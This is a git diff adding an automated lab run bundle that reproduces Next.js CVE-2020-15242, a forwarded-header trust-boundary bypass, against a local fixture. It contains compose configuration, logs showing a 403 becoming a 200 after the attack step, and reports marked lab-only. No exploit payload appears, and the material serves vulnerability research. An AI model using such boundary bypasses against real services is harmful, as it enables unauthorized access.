z!t*2JUP|ih`{SQfvFk_lLH%kh&9|k+yR&rCeGhITuNpj)N7IdsjrZGFssv>BtB_+2 zTNw+p?1z~+d2ht=PrP|GN01Op*d&v#C;+?ntcwt zGEz=5Owp4yRoZwo>G5EMYDi){%KhFQ$9CvVO^i{^URzyAqGDr=$SAUUpuXvPm=8coi!`)3U8LE-OvMEx| zG_#Y|`hhAUHD(P3*0=42#Qawik-t*}gnoGy>ZRg0{XDQ732% zGv+0l_EMQev+@r+0WM{iWXNrnag0%gnIQ*qA-h!MJjvM4(k2!UwyA!lm|Q~FJxldT zt8kveQQBOWBMW`Aw?(`u-o-r@sU=kl^)!F!n~a-+^zubtS$Qyv@<}5h zISoU{G$W#4|H{*CeM+sZ?=N2m2=# zelb@b4Du3*$Uhx+TTVoemy+G~T@f$GyN&l=57fFKo84b-!}Jl#4^yAB5AWw`=a{1g z#|_F{mT@M&lV>&S^LBEcPW#O<(l+KToNIbv^Tl~;>dwkN$p%=s(Md9H zs6TKW*uhuyVGZH(7{5A@)(x713XA6KhMzIi_m$R%l`o~6lot$yB?hFOzn;w@G{2`K zphd78LPyT{tYO+c@`aR!qGxh-jq_aPNIeKGGx-#J@4lGpmCE}V>KjL0aC`e|HtTap zvR40F24r)?2GI>mG_&f~+Fa~Ot>hrfM730t#qoM3L|sO;?=!s|Tr1|wum_~w9{f6_ zI23Lg|Isb1)Gpf20ym9YJeLtDF&oA4E+>cnLeU)MNMX>RNe3HQ+?lbQ;lE+mk~k{nRh)yGt;+%(>QX6AVBs9cf9B}^FWS#s_kG& zRMR%a{cH1M+tME{z9N!V8niK?ny5g%%(1mls`7bL-m$$JB9ooN!b-nG#TFBkirJ{a z7hTB6kB|DhA0|$?Ix=%9m1cIB^v2A0Ht=5D4!%&I(Iynk{d)iRa1n#r>O*Y{LE}zB z5b;I~nR&l!GaF7B#E~N-8YgG4CUe1VoTG+zGPii2p74zO&9tFhmnrz?6LG#ir-4ja zel}n0LAz}4p=63p))~C_S570CC#p|s^!loRTV1*0zF#Yty~m{^gOB=^E+HmRT<;d= zk1eY3*KkMLebc0}X5EL|J3O)V3q!E=Aq(5YfnL059 z^H5*W4pWCmR@)s<^}beTNA`gtK(3laCwKtmecx)BzWHd8d{;kk)N8n zem79(AyWTH)lJi0^)PIo=T+OT@%NnJiV72?Gh7-UQsz}C1vLp41uE9Q2c8HaW>=aW z9yb#x#>8wdmA`6Gwh&$xbW*QzP)n>$c(jx~zR=v?tAJab(#Kh8+&|TMuA?>*T<+?i z9Hf6vfb2R@)~DLR{FO!yRH_-egzzc#)XTwBBe2aC;v>cktnge zSSP;|8@WuS$nKTLugkf2K?Q3kWz2p2PT~duKI|P0INrkkvq*zJvQ}?a(??9fyCy4n zo#Az|Qjs6N=}w&)cX#Bq_gA;pmUOGa)X8oi+ZXxrEcVF;o_!lhgmOI08hFoUil{dZ zpdQRbfLMZ|iy2+Wp2IwB2>P|Y?XlrWaY4yb7ya_&$pwKlEZ6q(z~(0_qK+Mxcpf+j zru*OhdshfZ_Q6E-l1cxxc1`Z|tIJ!HiN0&)|NR%l#4KTU+83#L*gwPdkj$R74 z3R{S;anBpi;bQ?COG}8rQB2U<>ZKj|Dfv*WvTs9c@{1A?51OwdI%D4oA&wo-U^czo z8x4rw@HI(N*p>t_ zS#kX7*mn!f37M+Cwd?9ylaH=h$ya7ZYDlJj$WtpF0sGdRFQPR)@sV7^f}j`d>cfK(vC~VD^C)x%*e?@2&u1*vMG0R9CO3fp^1Ld zrU<+!LY*uJqndl8{{{{9Z+lJeQ&*Y1)eI;vs~bgz%kyNLIao@~KC(m@nuOmo9AVGX z8=!x7A>nTj2oou~e1m;-7B^h+CdT)oEM_n`glD}u1 z+QbP#w?4qz*7LFZfAnYb@RFXxnd-jq&a7?^{P5mTOIOC)bM_0T=bb;F_|_3Hoc((Q zJ4Le)sr7{B^kg>1L0DLh|1x}__vo&I(fx=%f}0N_uKvSQ+wEG7a*R$Zc~tgD34Yo8 z_1S66l1sB+Ou_wS=ztO8+dt67Zeilp;l;~{qEN=F=v2K=*T7pvPvzUqiqLbR-efS6 zqP1xp?C5A3>hPptIeq6HJp^^5&W4>*7`w1=SFI7-3%yU|@bN-%Li=RyN!R6!roFGi z8(%lj*{|X-dk0S(oO=xIowTfJmzIN@J4JK%EWo3E=vog6b3GU5~Ab)Z}?D{W# z!O}IwV|S0)XZtRn-`K$#+Cw#T(fwqCh9&^1wuNxp!1?Z9Xs=L_KM(^4c~m_#dqOsX z3q!0zIl?w@h9^K)VAd%5)=qB>)LbErqFDYS#@Flg>|rQ12{n4SE+=Zr?{7N$5Yojy zHj@I}7?MXWLD&qPv;^G_;qqWu6d&U&1pa6`ju{{nnwktAJj~3}cjQPTyVG6FMp7q- z5PCtBB6kY6 zvg=i1*UrBpCtpI*y=`@D`(0V(a(>`Bz!D9+5aXpZJ$b4Ts#pi`Peaanr%c3g{R<(L z!7nWh4bdPfnJdMpw@J7f_X+`6@i=NAyoOyRX8DKCx27Qr+!L7=By5_Muj{h_07AkP zc5(_W{Jyv6^?={oGXROi?tU%g4ps-#vw@KjkJ+FQ(R1}m+eYso>TqWY_QnFlnC z6B>C8!TpNTjf21KILM0Q_OsT`0hQw>AM(+1OwT=<1YtK4e(M=Gmoj$Ehoj|vBi!w! zmKyZ<#7q&Pv96OiA8As#TwP?zljG`M>zOb2ngdsPd3n2I`9mN1Qwl!Q1i-2`%JTD; z6SxRzymwTyH6uNlrAm-x#di$*C-f;67nw&oRn4GMDJ9AS^u@{U$8Fe+!_ zjtmxn9=iIw(Bw~D?OYdCBpuRX$r-u~4dPE-h(_37^)7~9*=|zpD$J4UT3UAq1{<#a z!)_V-@(vfny@ZYvRUi!>?5qrDsa(VGDxoB1UBTNDj-Hl_?}n>{B0h6F$#!aH0g;E6 z3TLS`ANB;KVis#Ym)tvCxGTULraYP<5iF#V6^59oZ3mtt*s*BOu1wUd z{oWt~qckP2WvVhe0$pLVyQ;I$*Ez03wmRpa!KXk$|hkk;&*W*f;B;D1GoeRr?hh@1#R z8*P1`9LQF?l9m1O<42@Qi)`&fj#A*I`ctuvWT}{ieU%R7L9zsvTj{TfyaSiNKF=Tz zI5m|Jt^W0n|DgpKMLc}%xwkQ;nx$^p9q$H~#n3XrQiN$=?aM=%w7bfu7C6hT5 zH3U&N-t$dslsm)so%l&KuZ3on?SgBr(nI=95#!e;!Hmx@uHgMZ93?w$Oc66`Gnn)? zw5@H>cN?EZW#7~NVPhjxHFp(&3YHc6ShMqb%$TeOqN zVAg;cd5yS@-O6FQiS_7!0Pg!?&twV8@I3bl2+14BQj0+G zBF1;Nwp{n-eF&d%hMdvT)Y4%55z3(8`6yHA(rM?ZtV|4YXNa?ZcNSb}X&q4jB8XYF z=#I}-oaJ_x6fJWb9R&Pt09hGeeV;VTKK8<=rX$j=5i?v-0tn`^$SVm96L(rQ1>>8B zn!_7B=D({gYnr@D%=P0QyL{z!yekqQB+NTY zX|aD_<2f`g9U*yZyl~fSV6px=!5hM(*#f|l3R2S|^LQX%tLo*j;{N7b@DKp)fC}RR zRJberbkZc`(0I57J{DbL<49>z_Ns~sZp1{YY+Q7qezPtR*GqE+XNc$PZ06e7Jmlhp zXozKzokxcRX&NrSdq?cZ2fTCycOzJ}4q7Jl7e^mg?cSgkcqkjo*UN&=3w-jfKSv{1 zqxiuZ+T)$=yMjVw1=z-x23H2EoVd-^^DW~vd3bw7hQFfbcIg3v`Rh`f5YG{{OpNr_RfE4T7usC8KT;C8sf>_tyZ3|(x+J9cq`b||~U z(nkO&NqhaVQn4@M!{OduSCk;)=s@NNg|W|LC+oRd#|2-5SAA}}wblchbH;Vfvunp4{=7?ib^#jd zT(L6?Pf%>9iyZUCi%Z0dJ^$k+0-5+Xd@im}PK5Wb&DdC3 zff3zeb2h*rx7>DLYAEmVbaN0dU~~7GtrS9L`c1fQQ1GR)Y3%nes+grTe*vJALZf^d z^-zV)B`ra%sD*H*A)pCq)w+5WZ&cYYSWVC7CW^IojJZyID$G>OSjTQf1fK%MO0I87 zU&3Eb;MH3NYH6!8TO*LW+liS~!JYR80sH=;)|}yJlI-| zVs?j#}hX~M~6ZEi-=dcN^P8JUmMy&e7 z7H_xQZ@CzDhY-gEWTV4_;QKEMii=0fP5fLJ!Of)DwK7}`B$v+^%;aQ+VSDK$P1AWE z*GrA>meTi+M=~ULYl;rmf6*X+EcDUupF&o)bFXu~+GgPcpxJ4+I6&v6q?|TqWgy7X zs)60HSUHnWhKyIpc7DBj-_LrcWuijqP=UtVZe>uZXtlgBg@vWVaMATv!Vvoe7~u7+ z11t1cWyOAsvWFe)IcC?3Snsv8ld|VnT;Fwye(3(v;84Q!a486t{B)&@3mJkEE>BZ>WFoOhDbH zirw7VCg0B8Y?edenx3e=|0lR;v(!QmOlEIhzpk)2>;j0Ka+dOs-ZoR*o+OaxTz8M% za-#=;flzC-t?A%EU}q`)PXNi|k*$SdV5bb`S+s*I73IF|40t;Z{f4iTj*gDi&ihhD zQ>m?efs`Vv%Tt`Mao}PkXq)thVFx5k>VH~-Qy|pwa7Y0g5-<=NC`+Zq{!AvdytjrH ztTaUPky6*Yf@#chzHu1j*)I*cG<^B7c&;AWxU0=uJt3mYe0!*IQ8DRR#c=VQlsOgu z8}*%K4Zvh>EN(CP61STY>+J8rG>OjmL?u z1r7c{)=-7xq`{=;1zNoBZye&-pj1KWYc|6^30w|IBcqe`;uvCxu)g6;k4&^tu(4WN zu7+I2;p;7Gf^Lp9<^9SOWp#LofNHioMr$7*+{Sd?LIA-1HI;@fb^qvGVT1XKr=2E6 zcgMqL*UfoX{`#3w8lB2Vz3+BcYbv+NST#63jw-_;P@4}{hikH}jvLoyg-csbR6jP~ zW0;5?HhXRzZ&BlHXAnEkX3Ef!AfnW}7GHBIwS@Ux zaF5->6eC^idF0toEq;++f-Xoi^a3;x_dZ0db^ydiY8E%MjGNgYx?|oRVS${JrI(9W zwod#s3g(RV(Ll;7*o_J`x3ivm2YwUQ-x+mS(=0Q+M}3FWwgET^n-|!0tAXv~jajalS0#E*=b<-S@nYlI$ZHI|ESU3H&&;WJabXg2mc7~t*K7LY|yTU=K-NkF+O zkdKXz4KT$b!_y)o%Wm!V57i!BGVaz$+@bMN!-kxvcX4sKgfbcW{rmi`k8rV3rw+<} zdaj!-_`Ya_^Q*%h3(x%@u%U#|Nf)^c>C%-bW=Jt!OE&JVHT@LfY09T7MK*u+F31;O z?r@1oc%=eR%`FK?6piJTYYPjRX?l(CM&H$2gvQ08Jc6sdt60b^o;n`Hk=-Twc3;$b zg(gKTDBN*4S+p2@^cLf#oqg;@V)%EhQ(HdxcMP$UkdUOK`bU~(T|OcMHg37?t=EvT zKaPoMmxyZhU76Xc$y?oOm0YsFu~Q|yF~ozQ*Q+8=t!9bOmv8XWkV%kyVn|O40AVHLg_P>+X(JpkBUa= zq$5tDXk;X8+F7MhB8b-mOvC^u5Hi8q@(v+nq927tXnO7cr!B`0IM1(XngHeFTvsPd z6;Gvj-*T+{X$Y;4YL5C*yPr+~tL8&N$f;ABUtXV;38Cv&|K{QG%)f!~+O_(N*0_eu zi`${q5am`50<5MR^5m1u|IVQpq2PGa(C9bk z)2^mi!vd28;44V>C})VaVARlCw2t`6@+j)@n@^Y1q|{tDXDuFja~ZaMx^RuuxZ|s? zQDBavFPgX*fKk3tQMV+BQFqupfY-uexO0PYr1oTeqjQOOyvi;X)c|zq7nXph(4Q`6e+XiOMC4&#D9RV6IfT1Uj2^ zxLHwqij2Lpzzns|QFq$J*xCAQ?&~Q^@&_F z`UO)%Ly2Dsl*xQme2~3xDm7hKe82<2ypSx8#wU?eb=PbQ%JG8o{ z(niXzm#d9Tx5iwBB1LVq+I8O=X4{x<`i5s~AWrsK=JZ`Np?53C1YB$4B_oA5X)1~2 zt$pb(j?A%gKK>MpiZJyEvj(e@7ER_L6(@j+9%#2;8y?D5^YBP$gMl*2m%LpFsK7Nm zvbC<1DnTWv+5zkqQ+j&uzPI8fMK@OU18$+JsOe;*_r^zeWo2c5;J$<%0}>PK;FZOo zn)Bt>y_iQ9+j|@OPUQ6VEScoeJfYvVc)lcm&+wj`OGqFOV|5w)ylIS2$zxjY)hYG6 z(77uZqhh^x_r~WJCG*{fsVg`#V~8tTCcCg z&Cbv7Z7->LNb`JWSBcCg6e=Qv2#@I#p;tBoZ!iwG&((KRhsMc$ui$BCbeYrM`s>8U z=e0qG>B;@;1#)`+!BQSf^^$Bg?~dOj#-*0fd1T1O-6;rFr8}nEKKqKUx}w7669b;K zK#j{>JRu?AG;g`2+Vk4Z<8j$+!l)-j64kzZ`MzLhJvt)&rF@yGPgh{dPpOsu7ep>a z&tKMJJqRBR9@jv2JM<-P1C3Aaw#e*4U&bPrx99YD)$WglT#Fc0P%1iO`BVHNeSd@S z`)@M^+vi^R5SmEOL<(OlPbl?a$9F$a@zlll2n8 z9z4Y;X^3RS#_d=jLXxuUGI>zRfq%^3G5sfvtrSarr7`THUdV~_;;{_?aYlgUg^|uM z%!NIx1e+hjV>i_xsefwU!dZaOnyp=7{d-hA!V5M%=E+VD%||eK3KS^DIuRHl63u6o z4CEczZ+sZszTc^a{*TZpM$L4*C@MdHZGmeJ^xQij?7@D+IB5(eW(<#|)6O!G?`Zyu zk_KxN@0sUS0Dg{)FoFLNpi=QdPSJqm$wOKVfyEhCL@N>GDH7Iitk0`}dA74cP8Vwy2g*anjTZtd6BYb2BmJg_r*2R+xD$FyHnaY% z zXxDCy4Ntd6vO^RP8PRRB$EFr4Wq@B|@%Lm zYGiZ=iAHm3=Z}w7FtRL;S?$K1MAys?UnoD`(u6`R20;FIvqm7pDFT?#E=w(caAW$? z3=L-qaKV}3=IsfdV#cQGq^yo0jSmBLPP5b) z`m&MM!NI`^Ve6Vo7)5bh>2Y#T`WmwjgP?=CFBQ$fkB{Qo<70poMyJ_aTHwn1_;KqF zec(OqMqlFR(SQ_KT9|a&n&+UV*4wYNx6r!CZ5eV9k|9xRRUZM6t>z$7hrV>=&E@+N zhf|GyFJpuO#V;{hy7Ig1Cgl})U7c6~AhrIC7%tgYUA9-skdaR*da(s8G)XU* z!jWZb?O>CwnU?Hqk^8AtEMQTxOAqDV2Y4C4&}B9qCXQTEu22Lxo|pQty5(5OHs~=G z)<${-uT()2PdhzCiQzWGt&H+UaYg29hu=KqlI6&{+X$-ucTh6hO829t@hXR!>S~ZF z*N*F(njX009M2dpOw-Htr#;YT4z-{BDXJj`!gS|N?r(0oQ6!T zWfC^Pv!*NCnjbc7`Fiu*!FKSTa?%@Q83HXy&v=seUuY+Hx*h~CM_Nc?Z-%rBn41Ar zmt}Fiu_Jakz*{55$W0Q}`_QOky*EutB2(!gvW&PbGT5ogbfEGdnQ^GWVUP!{4yKrs zUMcfQ?j6gFQYB@5Lq) z99~_xHXF%9DPSLdj-vN2X8z~rt5O6{ktaBeA8KQHFgLVgMUjpO}OGKi##AYYL1>buV@DD}@tr6#z)xJ1O`+-&>BwAV@>8{Y3d`^7_7%x@Co!6!u@c|w3)>Yb-%mFbQmP&Ir8+-7YYX9w zZSWyv`ti?vSPbWI7m^{SPLBEJdPrQ=kV z$~Y1FO<$~5$1YG)C;X9%!|4>;e@sOKGK!bhtfwIGQzbF;(D#~FiL3=R3DyySPigW& zscpAIu@Aao9K=JQ&BMe~F_NcQ{h6tKP_|;$rbKNHcNXq_UX6czi0M#ylFs&h=U7bf zfl@?DhedARSjDyGfCSsEy(^gs?d6pG_Ahmuu0Pi*f@7ohNO3pjl#Fz}LYH0l{TLP} zYr5P1#+jxol>w&pd2ue7wcz^Z{xTPP@`)xNeLffMta;#V0R^Hcbp|s#%ha18M>;HA z^s+IOzPo>mSv6lb!=`Zlok ztC!BV9es3o!!!G~0gNS?Pg}2E1do({u38 z*NDRoQoSR^Q(JBhMEVu`o%aFm0E7Fsn7H_*>Ei&z^KEwd6hEmZCXgi{u&XFJU}swW z4^L4-=kK+CFs1Namvd76eMg6Y;ueuow6M;|L`{{Gqq9F5cddMINL2C6MDgx>tAsqX zb^uz6?@>R(Oqp4+yNp*k`9n7v)al zK}2_)S;;0k3#nI)^O0sWm*IicbC#%g^~&cNAXK0<$SA1eVrSM)VKzhGjd5ApX@k+=M{Yj8zJp4wLohmzi?VnsW#yEX$a3&4x<9(1asP-ZyYFZ zwoKEkx#(jv#SED=?z!$raqIT!X1NKJ2m4J9CoJ`Xf>a`Bi0OG}4C!x3ozm??uHUI& zvzJMa`qpcWk#67Zisp9Mjr43h<2_#wx47|1Fa3nMaRpws~souoHY3EdUTuf`D@ zEd2bq>tW>+O)*ZVB7+f$ra;Q}MojUe$SvlkQqysFpe1qI5Ym3hmqGUL0K`9YFOCxu z%&nyQ>kgGn3ON$;D@Oq{K>09qlZcvXUI}XtXMX(d6`DzfS&}od?DNs;S}v1HR{6`u zahKgNk2s3UUz08UZ~ua!qV6y{)v3mP(`dMNKSdlr^z#x16Mnxjh~~kCt24Z{yN)nR zj&S^RYBmlZ((W`P8T_Gxtc;(gw8ACpl4aFH?VSCO?+izUMb+D1wGZNgy~04SkQ z0`!gD@O|+Fl&A|3a1qgAtYn*@l`t z`es>wrHGOX+8Y3T9B$&ok2MZ8K$2b0a;w`I14cdtLll>B<*oXdN0vQh2)U>dm})vv z>!$YaKp+Vq7G|qt!|Xthg-5Op>KIhPtK&COiXs{uX)tsjqEnEQJnfqs?WWGTQw?7WyS@N2Doq! z%SV`3TOBb^P)E=&@>FKw^Cl?(7{9V=4eAK;9^#*1VE90mO76@w=E&{+#Kf@|kH^H6 z=LIaf+G%v_bNW-6I8y+Dahn;_oyh%%7N9a({@QOt90qgDFHILaPVPpp&$5mJDU1Q1 z@HmZd^c3III>zTQ8R9n6vO#ovH3(@woOK_@RxoQyWcz~FXgZhoIE46|1@${27+LuS zK}`oUxGU6dW2^hiU@#2bXVu2_*bG$|0?nWW0$l(8V4e>B%B;Zy)hnlPn>lecYIMTv z>pG1rR&E6Pu3G$OzX+-5T-}&1sqnZ!2)T^>UtA%|l6!TP z&jf@eI~#{8ySY_kRB^gY8G%IHIkqmgGD~!Dx#gIoFQCW`oz~}rQ7*Pe^iW(vUO0o9 zc3WAr^O!a@mQ&J2<=)p_tSPCSr}op0KXdF|9|4grKR`Nf6%5^^Z-PLh|--PMRoGqZLaXxsYihFUo&m~G1apADTTo(@XUz7V3zqV_J|6VHG7b|r*+7UgKHnti# zjA9XbwNQFxJ@NRCx742zM4h{G|3y(y7QBpCd2{&3uaTy~eHyis#aqO$jt-WWDOl~z zhmUnoikAQ&Q+FZ)tVjHLOkc*;EnmDGvyczD=H_o2rRR56{L0EAPfz!8B1NT0zZky# zvTnTzlvB!+X22B9tu7vb$9#G33M*@Fs)mB=>HhNPW=c@k&;btO+%()_=!!@rh2 ztb>1j{r?-j*r~2R4*~o1i}J6K`>*S8x(@yoF#nY&oUViae*$LH$?yDgr>QyK)8oO9 z+9dFh)?t1N1h%x>G6P1nwE*x;7N+gzQ}v_%JY8#R*y?d literal 0 HcmV?d00001 diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml new file mode 100644 index 00000000..0f053d5a --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/compose/compose.yaml @@ -0,0 +1,26 @@ +services: + app: + image: node:22-alpine + networks: + - labnet + ports: + - 18201:3000 + environment: + LAB_FIXTURE_SCENARIO: /workspace/00-environments/templates/fixtures/nextjs/proxy-boundary/scenario.json + PORT: '3000' + command: + - node + - /workspace/00-environments/templates/fixtures/shared/node_fixture.mjs + working_dir: /workspace + volumes: + - /Users/x/websafe:/workspace:ro + healthcheck: + test: + - CMD-SHELL + - wget -q -O - http://127.0.0.1:3000/healthz >/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json new file mode 100644 index 00000000..9ea61685 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json @@ -0,0 +1,68 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "nextjs.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json" + } + ], + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "before": { + "status_code": 403, + "ok": false, + "body": { + "ok": false, + "detail": "admin boundary still enforced" + } + }, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "nextjs--CVE-2020-15242" + } + }, + "after": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "nextjs--CVE-2020-15242" + } + }, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "nextjs--CVE-2020-15242", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "nextjs--CVE-2020-15242" + }, + { + "event": "attack", + "detail": "trusted forwarded headers crossed the boundary" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + } + ] +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-browser.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-browser.json new file mode 100644 index 00000000..3de627a7 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-browser.json @@ -0,0 +1,14 @@ +{ + "required": true, + "present": true, + "page_title": "Next.js Proxy Boundary Fixture", + "page_url": "http://127.0.0.1:18201/", + "error_kind": null, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json" + ] +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json new file mode 100644 index 00000000..fe51488c --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-console.json @@ -0,0 +1 @@ +[] diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json new file mode 100644 index 00000000..d3b635da --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-network.json @@ -0,0 +1,6 @@ +[ + { + "method": "GET", + "url": "http://127.0.0.1:18201/" + } +] diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json new file mode 100644 index 00000000..4c5d53e3 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline-page.json @@ -0,0 +1,5 @@ +{ + "url": "http://127.0.0.1:18201/", + "title": "Next.js Proxy Boundary Fixture", + "body_excerpt": "\n \n Next.js Proxy Boundary Fixture\n Middleware trust-boundary fixture with forwarded-header proof.\n Baseline ready\n System: nextjs / Family: proxy-boundary\n \n \n \n \n \n \n\n" +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json new file mode 100644 index 00000000..8045ac16 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/baseline.json @@ -0,0 +1,25 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18201/", + "status_code": 200, + "headers": { + "content-type": "text/html; charset=utf-8", + "content-length": "1022", + "Date": "Wed, 18 Mar 2026 01:28:34 GMT", + "Connection": "keep-alive", + "Keep-Alive": "timeout=5" + }, + "body_excerpt": "\n\n\n \n \n Next.js Proxy Boundary Fixture\n + +

    运行 nextjs-nextjs--CVE-2020-15242-20260318012830

    +
    +
    漏洞条目
    nextjs--CVE-2020-15242
    +
    实证状态
    verified-real
    +
    复现 Profile
    nextjs-proxy-boundary
    +
    Artifact 模式
    local-fixture
    +
    +

    Mermaid 时间线

    +
    flowchart LR
    +A["选择 Advisory"] --> B["解析 Repro Profile"]
    +B --> C["生成 Compose 环境"]
    +C --> D["采集基线快照"]
    +D --> E["执行受控攻击步骤"]
    +E --> F["浏览器回放验证"]
    +F --> G["收集日志与证据"]
    +G --> H["回写 Registry 与报告"]
    +

    运行时间线

    + + + + + + + + + + + + + + +
    时间步骤状态说明
    2026-03-18T01:28:30+00:00select-advisorycompletednextjs--CVE-2020-15242
    2026-03-18T01:28:30+00:00resolve-repro-profilecompletednextjs-proxy-boundary
    2026-03-18T01:28:31+00:00doctorcompletedall checks passed
    2026-03-18T01:28:34+00:00provision-compose-environmentready-
    2026-03-18T01:28:34+00:00wait-readycompletedbaseline urls ready (1)
    2026-03-18T01:28:34+00:00seed-environmentcompletedsteps=1
    2026-03-18T01:28:34+00:00baseline-snapshotcompletedurls=1
    2026-03-18T01:28:34+00:00browser-replay-before-attackcompleted-
    2026-03-18T01:28:34+00:00controlled-attack-chaincompletedsteps=1
    2026-03-18T01:28:35+00:00browser-replay-after-attackcompleted-
    2026-03-18T01:28:35+00:00collect-logs-and-evidencecompletedcontainer_logs=1
    2026-03-18T01:28:37+00:00cleanup-compose-environmentcompleteddocker compose down completed
    2026-03-18T01:28:37+00:00update-registry-and-reportscompletednextjs-nextjs--CVE-2020-15242-20260318012830
    +

    攻击步骤

    + + +
    工具状态输出
    nextjs.proxy-boundarycompleted/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/logs/attack.json
    +

    浏览器截图

    + +

    证据清单

      +
    • compose/compose.yaml
    • +
    • assets/baseline.png
    • +
    • assets/baseline-dom.html
    • +
    • logs/baseline-console.json
    • +
    • logs/baseline-network.json
    • +
    • logs/baseline-page.json
    • +
    • assets/proof.png
    • +
    • assets/proof-dom.html
    • +
    • logs/proof-console.json
    • +
    • logs/proof-network.json
    • +
    • logs/proof-page.json
    • +
    • logs/docker/app.log
    • +
    • logs/attack.json
    • +
    • logs/baseline.json
    • +
    + diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md new file mode 100644 index 00000000..4ee0845a --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/report.md @@ -0,0 +1,86 @@ +# 运行 nextjs-nextjs--CVE-2020-15242-20260318012830 + +> `LAB ONLY` | `AUTHORIZED TARGETS ONLY` | 自动生成 run bundle + +- 漏洞条目: `nextjs--CVE-2020-15242` +- 系统: `nextjs` +- Repro Profile: `nextjs-proxy-boundary` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 启动时间: `2026-03-18T01:28:30+00:00` +- 完成时间: `2026-03-18T01:28:37+00:00` +- 阻塞原因: `-` +- Compose 服务: `app` + +## 运行时间线 + +- Mermaid: [timeline.mmd](/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830/timeline.mmd) + +| 时间 | 步骤 | 状态 | 说明 | +|------|------|------|------| +| `2026-03-18T01:28:30+00:00` | `select-advisory` | `completed` | nextjs--CVE-2020-15242 | +| `2026-03-18T01:28:30+00:00` | `resolve-repro-profile` | `completed` | nextjs-proxy-boundary | +| `2026-03-18T01:28:31+00:00` | `doctor` | `completed` | all checks passed | +| `2026-03-18T01:28:34+00:00` | `provision-compose-environment` | `ready` | - | +| `2026-03-18T01:28:34+00:00` | `wait-ready` | `completed` | baseline urls ready (1) | +| `2026-03-18T01:28:34+00:00` | `seed-environment` | `completed` | steps=1 | +| `2026-03-18T01:28:34+00:00` | `baseline-snapshot` | `completed` | urls=1 | +| `2026-03-18T01:28:34+00:00` | `browser-replay-before-attack` | `completed` | - | +| `2026-03-18T01:28:34+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:28:35+00:00` | `browser-replay-after-attack` | `completed` | - | +| `2026-03-18T01:28:35+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:28:37+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:28:37+00:00` | `update-registry-and-reports` | `completed` | nextjs-nextjs--CVE-2020-15242-20260318012830 | + +## Compose 拓扑 + +- Compose 文件: 